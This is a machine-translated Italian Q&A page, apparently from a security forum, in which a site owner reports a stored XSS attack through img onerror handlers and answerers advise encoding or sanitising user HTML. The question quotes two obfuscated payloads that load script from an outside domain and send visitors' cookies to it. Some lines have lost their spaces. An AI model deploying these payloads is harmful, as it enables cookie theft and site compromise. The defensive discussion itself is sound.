JS iniettato nel database usando img

2

Come possiamo evitare che l'elemento img / html con script XSS sia iniettato nel nostro database?

Recentemente ho avuto un caso nel nostro sito Web che utilizza PHP. Il nostro sito Web ha ricevuto un servizio di messaggistica che consente agli elementi HTML e un frodatore di inviare un messaggio che include il tag immagine nel messaggio. Il tag immagine ha valutato l'attributo id con 64 stringhe di codifica di base e il metodo di decrittografia atob per implementare il suo script sul nostro server quando i nostri amministratori stanno visualizzando il suo messaggio.

Ho intenzionalmente cambiato la funzione atob in named_function nello script seguente, in quanto avrebbe attivato una creazione di iframe su questo sito.

questo è lo script. due immagini sono state inviate in diversi messaggi.

< img src=/ id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vbHJlY2lwZXMuY2YvaiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(named_function(this.id))>

< img src=default onerror=eval(String.fromCharCode(116,104,105,115,46,115,114,99,61,39,47,47,108,114,101,99,105,112,101,115,46,99,102,47,105,46,112,104,112,63,95,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))>

Il modo in cui comprendere il codice crittografato è l'utilizzo del metodo atob che decodifica i codici crittografati. Carica una pagina Javascript che crea un iframe, carica JS e socket.io.
Utilizzando socket.io, sembra voler produrre uno script flessibile nell'iframe per hackerare i siti web. sotto è il risultato decodificato.

Lamiaattualesoluzioneaquestoèpermetteresoloimmaginiconsrcaventiestensionediimmagine.

Qualèilmodomiglioreperdisinfettareiltagimg?

Grazie.

PS.sequestaimmagineesistesuunapaginaweb,produrrebbecostantementeunaconnessionesocketio.

    
posta xyonme 17.07.2018 - 04:59
fonte

2 risposte

6

Ignorando l'offuscamento, questo è solo un normale attacco XSS persistente.

Il tuo approccio non risolverà questo problema. Ad esempio, il payload non si trova effettivamente nell'attributo src , ma l'attributo id . Un utente malintenzionato potrebbe anche semplicemente saltare l'offuscamento (o utilizzarne uno diverso):

<img src=x onerror=alert('do the thing')>

È probabile che il motivo dell'offuscamento elimini tutti i possibili problemi a causa di caratteri speciali o altri filtri.

La cosa pericolosa qui non è il valore dell'attributo src o id , ma l'esistenza dell'attributo onerror , quindi disinfettare i primi due in realtà non risolverebbe il problema.

Per risolvere correttamente questo problema, osserva la prevenzione dell'XSS. Se non hai bisogno di HTML fornito dall'utente, dovresti codificare i caratteri rilevanti in un contesto HTML ( < , > , ' , " ).

Se hai bisogno di HTML fornito dall'utente, dovresti esaminare i filtri HTML esistenti per la lingua che stai utilizzando (non ti consiglio di scriverne uno tuo, poiché è notoriamente difficile).

    
risposta data 17.07.2018 - 09:48
fonte
1

Il problema qui è che tu:

  1. consenti l'HTML nei contenuti generati dagli utenti
  2. consenti Javascript incorporato in quell'HTML

Se lo permetti, la tua applicazione è vulnerabile a tutti i tipi di shenanigans XSS . Quindi questo è il problema che devi effettivamente risolvere. Tutto il resto, inclusa la tua attuale soluzione, sta solo aggiustando un modo per sfruttarlo, ma non tutti gli altri modi con cui la gente si inventerà.

Per risolvere il problema reale, esegui qualsiasi contenuto generato dall'utente attraverso un filtro che disinfetta il codice HTML e lo trasforma in innocuo testo in chiaro. Fai questo sul tuo server quando ricevi il contenuto. Il modo migliore per farlo dipende dal linguaggio di programmazione che si sta utilizzando sul proprio server. Cerca su stackoverflow per i dettagli.

Quando pubblichi immagini e alcuni markup sono un caso d'uso legittimo per il tuo servizio di messaggistica, allora dovresti usare un linguaggio di markup personalizzato come BBCode o quello usato da stackexchange . Utilizza un parser che sostituisce le funzioni di markup che hai scelto di consentire in HTML valido.

    
risposta data 17.07.2018 - 11:17
fonte

Leggi altre domande sui tag